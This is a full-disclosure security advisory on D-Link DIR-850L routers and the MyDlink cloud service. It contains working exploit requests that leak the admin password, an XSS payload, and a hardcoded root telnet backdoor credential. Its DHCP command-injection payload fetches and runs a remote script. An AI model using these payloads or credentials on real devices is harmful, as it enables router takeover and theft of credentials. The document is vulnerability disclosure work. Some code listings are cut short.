## Advisory Information

Title: Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol
Advisory URL: https://pierrekim.github.io/advisories/2017-dlink-0x00-dlink-850l-cloud.txt
Blog URL: https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
Date published: 2017-09-08

Release mode: Full-Disclosure
CVE: -



## Product Description

Dlink is a multinational networking equipment manufacturing corporation.

The Dlink 850L is a Wireless AC1200 Dual Band Gigabit "Cloud" Router.

Mydlink Cloud Services allow you to access, view and control the
devices on your home network from anywhere.



## Vulnerabilities Summary

The Dlink 850L is a router overall badly designed with a lot of vulnerabilities.

Basically, everything was pwned, from the LAN to the WAN. Even the
custom MyDlink cloud protocol was abused.

My research in analyzing the security of Dlink 850L routers starts
from a recent security contest organized by a security company.
The Dlink 850L has 2 versions of these routers with very slight
hardware modifications.
The contest targeted the first version (revisionA) but I
(unfortunately) received the wrong version, revisionB (thank you
Amazon!), which was not eligible for the contest.
In this advisory, I would like to introduce the 0day vulnerabilities
from both versions of Dlink 850L that were not submitted to the
contest.
Note that I submitted a valid vulnerability to SSD which was patched
[https://blogs.securiteam.com/index.php/archives/3364].


Following a very badly coordinated previous disclosure with Dlink last February
(see https://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html),
full-disclosure is applied this time.


The summary of the vulnerabilities is:

1. Firmware "protection"
2. WAN && LAN - revA - XSS
3. WAN && LAN - revB - Retrieving admin password, gaining full access
using the custom mydlink Cloud protocol
4. WAN        - revA and revB - Weak Cloud protocol
5. LAN        - revB - Backdoor access
6. WAN && LAN - revA and revB - Stunnel private keys
7. WAN && LAN - revA - Nonce bruteforcing for DNS configuration
8. Local      - revA and revB - Weak files permission and credentials
stored in cleartext
9. WAN        - revB - Pre-Auth RCEs as root (L2)
10. LAN       - revA and revB - DoS against some daemons


revA targets the revision A of the router with the latest firmware
available (`DIR850L_REVA_FW114WWb07_h2ab_beta1.bin`).
revB targets the revision B of the router with the latest firmware
images available (`DIR850LB1_FW207WWb05.bin` and
`DIR850L_REVB_FW207WWb05_h1ke_beta1.bin` from
http://support.dlink.com/ProductInfo.aspx?m=DIR-850L, `DIR850LB1
FW208WWb02.bin` [from
http://support.dlink.com.au/Download/download.aspx?product=DIR-850L]).



## Details - Firmware "protection"

The latest firmware for Dlink 850L revA
(`DIR850L_REVA_FW114WWb07_h2ab_beta1.bin`) is not protected and a new
firmware image can be trivially forged by an attacker.

The latest firmware images for Dlink 850L revB
(`DIR850LB1_FW207WWb05.bin`, `DIR850L_REVB_FW207WWb05_h1ke_beta1.bin`
and `DIR850LB1 FW208WWb02.bin`) are password-protected with a
hardcoded password.

Here is a program to decrypt the firmware image:

## Details - WAN && LAN - revA - XSS

Simply by analyzing PHP files inside `/htdocs/web`, we can discover
several trivial XSS.

An attacker can use the XSS to target an authenticated user in order
to steal the authentication cookies.


/htdocs/web/wpsacts.php:

    user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>'
http://ip:port/wpsacts.php
    <?xml version="1.0" encoding="utf-8"?>
    <wpsreport>
            <action><a></action>
            <result></result>
            <reason></reason>
    </wpsreport>


    user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php
    [..]
    <wpsreport>
            <action><?echo $_POST["action"];?></action>
    [...]

## Details - WAN && LAN - revB - Retrieving admin password, gaining
full access using the custom mydlink Cloud protocol

DISCLAIMER: Beware, no request has been sent directly to any servers
operated by Dlink or other companies. All internet network traffic
shown below is legitimate and produced by Dlink itself, or by products
of Dlink (Dlink Cloud, Dlink browser extensions, Dlink 850L). All the
findings exposed below were discovered without exceeding Dlink terms
of use. This simply demonstrates how much broken this service is at
the time of writing (run away!).

The webpage http://ip_of_router/register_send.php doesn't check the
authentication of the user, thus an attacker can abuse this webpage to
gain control of the device.
This webpage is used to register the device to the myDlink cloud infrastructure.

Attack scenario:

o The attacker will use the unauthenticated /register_send.php webpage to:
  1. create a MyDlink Cloud account,
  2. signin the device to this account,
  3. add the device to this account (the device will pass admin
password to the Cloud platform! Meaning the passwords are stored in
cleartext).

o The attacker will then visit Dlink mycloud webpage) using a classic
browser (i.e.: Firefox 50) and install the official Dlink NPAPI
extension (this will not work with Firefox > 50 or any recent version
of Chrome since this plugin requires unsandboxed NPAPI support). This
webpage will allow the attacker to remotely control the device
(reboot, general management...).


o Then, using `Firefox dev tools`, the attacker can passively analyze
the default HTTP requests/responses from the Dlink APIs on
www.mydlink.com:
The dlink cloud interface will leak by default the password of the
device (!) inside the answer of a `PUT` request (and inside `GET`
requests too). Just
by watching the HTTP requests from the NPAPI plugin, the APIs will
provide passwords of the device in cleartext.

o Finally, the NPAPI plugins will automatically establish a tunnel
between the router and the Firefox browser:
the attacker will be able to visit
`http://127.0.0.1:dynamicaly_generated_remote_port/` to reach the
remote router.
The traffic will go directly to Amazon servers then to the remote Dlink router:

  Firefox NPAPI client (http://127.0.0.1:remote_port/)   ->    Amazon
 ->    Dlink 850L HTTP Interface.


o The attacker will use the previous password provided by the legit
HTTPS answers from the Dlink APIs and will be able to login inside the
router.
At that point complete control over the router is achieved.

o This is made possible by the `signalc` program (inside /mydlink/)
that creates a TCP tunnel to Amazon servers.

Finally, I will demonstrate some part of the traffic inside this
tunnel is in cleartext and the other part (encrypted traffic) can be
MITM'd
thanks to self-signed certificates and the complete lack of
certificate verification.



Let's resume the attack:

The PHP script hosted at http://ip_of_router/register_send.php will
serve as a proxy between the attacker and the remote Dlink APIs.
This page will also retrieve the password (it is stored in cleartext -
see part 8. Weak files permission and credentials stored in cleartext)
and send it to remote Dlink APIs.


    151 $devpasswd = query("/device/account/entry/password"); <-
$devpasswd contains the password of the device
    152 $action = $_POST["act"];


The password will be sent during the association of the device (3rd
request : "adddev") to the Mydlink Cloud service (see the
`&device_password=$devpasswd`):

    178 //sign up
    179 $post_str_signup = "client=wizard&wizard_version="
.$wizard_version. "&lang=" .$_POST["lang"].
    180                    "&action=sign-up&accept=accept&email="
.$_POST["outemail"]. "&password=" .$_POST["passwd"].
    181                    "&password_verify=" .$_POST["passwd"].
"&name_first=" .$_POST["firstname"]. "&name_last="
.$_POST["lastname"]." ";
    182
    183 $post_url_signup = "/signin/";
    184
    185 $action_signup = "signup";
    186
    187 //sign in
    188 $post_str_signin = "client=wizard&wizard_version="
.$wizard_version. "&lang=" .$_POST["lang"].
    189             "&email=" .$_POST["outemail"]. "&password="
.$_POST["passwd"]." ";
    190
    191 $post_url_signin = "/account/?signin";
    192
    193 $action_signin = "signin";
    194
    195 //add dev (bind device)
    196 $post_str_adddev = "client=wizard&wizard_version="
.$wizard_version. "&lang=" .$_POST["lang"].
    197             "&dlife_no=" .$mydlink_num. "&device_password="
.$devpasswd. "&dfp=" .$dlinkfootprint." ";
    198
    199 $post_url_adddev = "/account/?add";
    200
    201 $action_adddev = "adddev";
    202
    203 //main start
    204 if($action == $action_signup)                    <---- first request
    205 {
    206         $post_str = $post_str_signup;
    207         $post_url = $post_url_signup;
    208         $withcookie = "";   //signup dont need cookie info
    209 }
    210 else if($action == $action_signin)               <---- second request
    211 {
    212         $post_str = $post_str_signin;
    213         $post_url = $post_url_signin;
    214         $withcookie = "\r\nCookie: lang=en;
mydlink=pr2c11jl60i21v9t5go2fvcve2;";
    215 }
    216 else if($action == $action_adddev)               <---- 3rd request
    217 {
    218         $post_str = $post_str_adddev;
    219         $post_url = $post_url_adddev;
    220 }



To exploit this vuln, let's create 3 HTTP requests to the dlink router:

The first one ("signup") will create an user on the MyDlink service:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data
'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx'
http://ip/register_send.php

    <?xml version="1.0"?>
    <register_send>
       <result>success</result>
       <url>http://mp-us-portal.auto.mydlink.com</url>
    </register_send>

Internally, this request was crafted and sent to MyDlink Cloud APIs:

    179 $post_str_signup = "client=wizard&wizard_version="
.$wizard_version. "&lang=" .$_POST["lang"].
    180                    "&action=sign-up&accept=accept&email="
.$_POST["outemail"]. "&password=" .$_POST["passwd"].
    181                    "&password_verify=" .$_POST["passwd"].
"&name_first=" .$_POST["firstname"]. "&name_last="
.$_POST["lastname"]." ";


The second one ("signin") will "signin" the newly created user - the
router will be associated with this account - but not activated:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data
'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx'
http://ip/register_send.php

    <?xml version="1.0"?>
    <register_send>
      <result>success</result>
      <url>http://mp-us-portal.auto.mydlink.com</url>
    </register_send>

Internally, this request was crafted and sent to MyDlink Cloud APIs:

    188 $post_str_signin = "client=wizard&wizard_version="
.$wizard_version. "&lang=" .$_POST["lang"].
    189             "&email=" .$_POST["outemail"]. "&password="
.$_POST["passwd"]." ";


The last one will associate the device to the dlink service and will
send the password of the device to the remote APIs of Dlink:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data
'act=adddev&lang=en' http://ip/register_send.php

    <?xml version="1.0"?>
    <register_send>
      <result>success</result>
      <url>http://mp-us-portal.auto.mydlink.com</url>
    </register_send>

Internally, this request was crafted and sent to MyDlink Cloud APIs:

    196 $post_str_adddev = "client=wizard&wizard_version="
.$wizard_version. "&lang=" .$_POST["lang"].
    197             "&dlife_no=" .$mydlink_num. "&device_password="
.$devpasswd. "&dfp=" .$dlinkfootprint." ";


Now please confirm the email using the email sent from Dlink:

[please use the HTML version at

to see the image]


Then, visit http://mydlink.com/ and login using the email and the password.

You will see the device listed in the web interface (You need to
install the plugin - you can use "IE8 - Win7.ova" from Microsoft, you
need Firefox 50 to use the plugin).


Please see the attached screenshot to see the available management options:

By analyzing the requests, we can get more information about the
targeted router (note the requests are made by default when browsing
the www.mydlink.com website!):

[please use the HTML version at
https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
to see the image]

It appears the `PUT` (`PUT IDENTIFIER_OF_THE_ROUTER`) request provides
a response with the cleartext password of the device!

Note that there is a `GET` request on the end of the image, we will
study it too.

    https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN

The `POST` data are:

    {"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]}


The answer is, in cleartext (and contains the password of the device):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"password","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}


A `GET` request is done too (the last one on the previous image),
which allows to retrieve the password and the previous one (was
changed in the router to confirm this fact):

[please use the HTML version at
https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
to see the image]

The request is:

    GET https://eu.mydlink.com/device/devices/DEVICE_ID?_=RANDOM_NUMBER&access_token=ACCESS_TOKEN
HTTP/1.1

And the answer is the same, with the previous password (plainPassword)
and the new password (adminPassword):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}



Finally, a request is made from the NPAPI plug-in asking for a tunnel
between the browser and the remote router:

[please use the HTML version at
https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
to see the image]


The request to `/tssm/tssml.php` will ask the remote Cloud platform to
forward the traffic to the device number 3XXXXXXX.
This will provide the attacker information about the new-established
TCP tunnel from the browser NPAPI extension to the DLINK 850L router,
via the Cloud platform:

    https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE

It appears the plugin listens on `127.0.0.1:50453/tcp` (HTTP) and
`127.0.0.1:50454/tcp` (HTTP over SSL) as shown below:

Ok, let's browse `http://127.0.0.1:50453/`. The traffic is sent to the
remote router over the Cloud protocol.

By using the password leak found before (in the `PUT` and `GET`
requests), the attacker can remotely pwn the router and update the
firmware with a custom (backdoored) one:

MISSION COMPLETE.

These vulnerabilities may affect some Dlink NAS/routers/cameras.

On a side note, it is interesting to find that DLink is storing all
the passwords of devices using the mydlink service in cleartext.



## Details - WAN - revA and revB - Weak Cloud protocol

The MyDlink Cloud protocol is weak. No encryption is provided by
default by this technology, it is only a basic TCP relay system.
All the traffic is sent over TCP to remote Amazon server without
proper encryption:

[please use the HTML version at
https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
to see the image]

There are 2 TCP relays:
- - one with the HTTP server of the dlink router as an endpoint
- - the other one with the HTTPS server of the dlink router as an endpoint.

So, it appears, the router is reachable over this TCP tunnel using
either HTTP and HTTPS.
By default, you can see HTTP request AND HTTPS request from the
browser (over the tunnel) to the router.
About the HTTPS requests, the SSL certificate provided by the router
is self-signed. Sus, an invalid certificate can be forged and used in
order to successful MITM the device and intercept information. More,
by default, a TCP relay for HTTP is made by the NPAPI plugin to the
router as shown above.


Futhermore, the `/mydlink/signalc` program running inside the router
uses the MAC address of the device to get an unique identifier,
which will always be the same, even if the dlink device is reset or
linked with a new dlink cloud account.
This allows Dlink to 'follow' the ownership of the device.

Hopefully, an user can change the MAC addresses of the device using
the `rgbin` binary (`/usr/sbin/devdata` is a symlink to
`/usr/sbin/rgbin` and the used argv[0] must be `devdata` to work):

    # /usr/sbin/devdata dump # will dump all the configuration
    # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define
a new mac address for the lan interface

This program will only rewrite information over `/dev/mtdblock/4`.

Finally, the mydlink interface allows the user to enter credentials
for gmail/hotmail accounts, the credentials are then transfered to the
routers using the tunnel established with the cloud protocol.
It doesn't seem to be a good idea, as the traffic between the router
and the Cloud platform is not encrypted or encrypted using a
self-signed certificate without verification and the passwords are
sent over this tunnel using the Internet.

These vulnerabilities may affect some Dlink NAS/routers/cameras (every
device that supports the MyDlink cloud protocol).

Some wireshark (cleartext traffic and with self-signed certificate):

## Details - LAN - revB - Backdoor access

On revB, if you reset the device, the `/etc/init0.d/S80mfcd.sh` init
script will start the `mfcd` binary with these arguments:

    mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &

`mfcd` is in fact a telnetd server. the `-u` flag defines the
authorized user with the associated password (`$image_sign` variable).

`br0` is a bridge for these interfaces: `eth0`, `peth0`, `wlan0` et
`wlan1`. This backdoor access can be only used from the LAN side.


    user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh
    #!/bin/sh
    echo [$0]: $1 ... > /dev/console
    orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
    entn=`devdata get -e ALWAYS_TN`
    if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
            mfcd -i br0 -t 99999999999999999999999999999 &
            exit
    fi

    if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then

            if [ -f "/usr/sbin/login" ]; then
                    image_sign=`cat /etc/config/image_sign`
                    mfcd -l /usr/sbin/login -u
Alphanetworks:$image_sign -i br0 &
            else
                    mfcd &
            fi
    else
            killall mfcd
    fi


By using the login `Alphanetworks` and the password
`wrgac25_dlink.2013gui_dir850l`, the attacker can get a root shell on
the device:


    user@kali:~/petage-dlink$ telnet 192.168.0.1
    Trying 192.168.0.1...
    Connected to 192.168.0.1.
    Escape character is '^]'.
    Login: Alphanetworks
    Password: wrgac25_dlink.2013gui_dir850l


    BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
    Enter 'help' for a list of built-in commands.

## Details - WAN && LAN - revA and revB - Stunnel private keys

Keys are hardcoded inside the firmware. The administration can be used
using HTTPS. This allows an attacker to do SSL MITM:

    # ls -la /etc/stunnel.key
    -rwxr-xr-x    1 root     root         1679 Jan 20  2017 /etc/stunnel.key

## Details - WAN && LAN - revA - Nonce bruteforcing for DNS configuration

The file `htdocs/parentalcontrols/bind.php` allows to change DNS configuration.
It doesn't check authentication of the admin user.

An attacker can bruteforce the nonce (`?nonce=integer`). There are no
limitations of HTTP requests and no authentication method:


      8 $uptime_limit =
query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;
      9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"]
|| $_GET["nonce"]=="")
     10 {
     11         $Response="BindError";
     12 }
     13 else if(query("/runtime/device/uptime") > $uptime_limit)
     14 {
     15         $Response="BindTimeout";
     16 }


The attacker can then define new DNS servers:

     21         set(INF_getinfpath($WAN1)."/open_dns/deviceid",
$_GET["deviceid"]);
     22
set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1",
$_GET["dnsip1"]);
     23
set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2",
$_GET["dnsip2"]);


An attacker can use this vuln to forward traffic to server he/she
controls (i.e.: custom Dlink Cloud servers, to take control over the
dlink router).



## Details - Local - revA and revB - Weak files permission and
credentials stored in cleartext

It appears some files have weak permissions:

1. /var/passwd

/var/passwd contains credentials in cleartext.

The permissions of /var/passwd are: -rw-rw-rw- (666)

    # ls -la /var/passwd
    -rw-rw-rw-    1 root     root           28 Jan  1 00:00 /var/passwd
    # cat /var/passwd
    "Admin" "password" "0"


2. /var/etc/hnapasswd

Note that an attacker can use /var/etc/hnapasswd to retrieve the
password in cleartext too:

    # cat /var/etc/hnapasswd
    Admin:password

The permissions of /var/etc/hnapasswd are: -rw-rw-rw- (666)

    # ls -la /var/etc/hnapasswd
    -rw-rw-rw-    1 root     root           20 Jan  1 00:00 /var/etc/hnapasswd


3. /etc/shadow

/etc/shadow is a symlink to /var/etc/passwd. The file /var/etc/passwd

## Details - WAN - revB - Pre-Auth RCEs as root (L2)

The DHCP client running on the router is vulnerable to several command
injections as root.

Please use the dhcpd.conf file provided:

When doing a DHCP request at startup, the router connects from the WAN
the remote HTTP server:

    rasp-pwn-dlink# tail -f /var/log/nginx/access.log
    10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce
HTTP/1.1" 200 383 "-" "Wget"
    10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd
HTTP/1.1" 200 10520 "-" "Wget"
    10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce

HTTP/1.1" 200 10520 "-" "Wget"


And now we got a telnetd from the WAN:

    rasp-pwn-dlink# telnet 10.254.239.10 110
    Trying 10.254.239.10...
    Connected to 10.254.239.10.

Analysis of the vulnerabilities


There are several WAN RCEs. The first problem is located here:

/etc/services/INET/inet_ipv4.php

     94         $udhcpc_helper  = "/var/servd/".$inf."-udhcpc.sh";

And you have command injections everywhere starting line 101.


     99     fwrite(w,$udhcpc_helper,
    100                 '#!/bin/sh\n'.
    101                 'echo [$0]: $1 $interface $ip $subnet $router

    103                         ' INF='.$inf.
    104                         ' INET='.$inet.
    105                         ' MTU='.$mtu.
    106                         ' INTERFACE=$interface'.
    107                         ' IP=$ip'.
    108                         ' SUBNET=$subnet'.
    109                         ' BROADCAST=$broadcast'.
    110                         ' LEASE=$lease'.
    111                         ' "DOMAIN=$domain"'.
    112                         ' "ROUTER=$router"'.
    113                         ' "DNS='.$dns.'$dns"'.

    116                         ' "SSTROUT=$sstrout"'.
    117                         ' "SCOPE=$scope"'.
    118                         ' "WINSTYPE=$winstype"'.
    119                         ' "WINS=$wins"'.
    120                         ' "SIXRDPFX=$sixrd_prefix"'.
    121                         ' "SIXRDPLEN=$sixrd_prefixlen"'.
    122                         ' "SIXRDMSKLEN=$sixrd_msklen"'.

    124                         ' "SDEST=$sdest"'.
    125                         ' "SSUBNET=$ssubnet"'.
    126                         ' "SROUTER=$srouter"\n'.
    127                 'exit 0\n'
    128                 );


As you can see, variables are not sanitized. One solution is also to
inject commands using the `/var/servd/$VAR-udhcpc.sh` script with
`$domain` (`option domain-name` in isc-dhcp).

The `WAN-1-udhcpc.sh` file will be generated and called by `udhcpc`
(`udhcpc -i eth1 -H dlinkrouter -p /var/servd/WAN-1-udhcpc.pid -s
/var/servd/WAN-1-udhcpc.sh`)

    # cat WAN-1-udhcpc.sh
    #!/bin/sh
    echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope
$winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen
$sixrd_bripaddr ... > /dev/console
    phpsh /etc/services/INET/inet4_dhcpc_helper.php ACTION=$1
INF=WAN-1 INET=INET-3 MTU=1500 INTERFACE=$interface IP=$ip
SUBNET=$subnet BROADCAST=$broadcast LEASE=$lease "DOMAIN=$domain"
"ROUTER=$router" "DNS=$dns" "CLSSTROUT=$clsstrout"
"MSCLSSTROUT=$msclsstrout" "SSTROUT=$sstrout" "SCOPE=$scope"
"WINSTYPE=$winstype" "WINS=$wins" "SIXRDPFX=$sixrd_prefix"
"SIXRDPLEN=$sixrd_prefixlen" "SIXRDMSKLEN=$sixrd_msklen"
"SIXRDBRIP=$sixrd_bripaddr" "SDEST=$sdest" "SSUBNET=$ssubnet"
"SROUTER=$srouter"
    exit 0


So using this DNS configuration will work against the router:

    option domain-name "`wget -O /var/re http://10.254.239.1/dhcp-rce
; sh /var/re;`";

In the logs, we confirm the execution:

    rasp-pwn-dlink# tail -f /var/log/nginx/access.log
    10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dhcp-rce
HTTP/1.1" 200 383 "-" "Wget"
    10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dlink-telnetd
HTTP/1.1" 200 10520 "-" "Wget"



Note that you also have command injections inside some generated files
(in `/var/servd/`) using the `;wget -O /var/re
http://10.254.239.1/dhcp-rce ; sh /var/re;` payload:


    # cat /var/servd/DHCPS4.LAN-1_start.sh

    udhcpd /var/servd/LAN-1-udhcpd.conf &
    exit 0
    exit 0
    #

    # cat /var/servd/DHCPS4.LAN-2_start.sh

    rm -f /var/servd/LAN-2-udhcpd.lease
    xmldbc -X /runtime/inf:2/dhcps4/leases
    xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100
    xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199
    xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800

    udhcpd /var/servd/LAN-2-udhcpd.conf &
    exit 0
    exit 0
    #



Bonus point: this attack will be relayed to internal clients using the
dhcp server running inside the router.
So if you connect a vulnerable Dlink router to the internal network,
it will be pwned too:

    # ps -w|grep dhcpd
     6543 root       984 S    udhcpd /var/servd/LAN-1-udhcpd.conf
     6595 root       984 S    udhcpd /var/servd/LAN-2-udhcpd.conf


The `/runtime/inf:{1,2}/dhcps4/pool/domain` entries in the
`/var/servd/LAN-{1,2}-udhcpd.conf` files contain the rogue domain
value:

    # cat /var/servd/LAN-1-udhcpd.conf
    remaining no
    start 192.168.0.100
    end 192.168.0.199

## Details - LAN - revA and revB - DoS against some daemons

It appears some daemons running in the routers (revA and revB) can be
crashed remotely from the LAN.
As it doesn't provide further remote privileges to an attacker, this
is only for information and was not detailed.



## Vendor Response

Due to difficulties in previous exchange with Dlink[1],
Full-disclosure is applied.
Their previous lack of consideration about security made me publish
this research without coordinated disclosure.

I advise to IMMEDIATELY DISCONNECT vulnerable routers from the Internet.
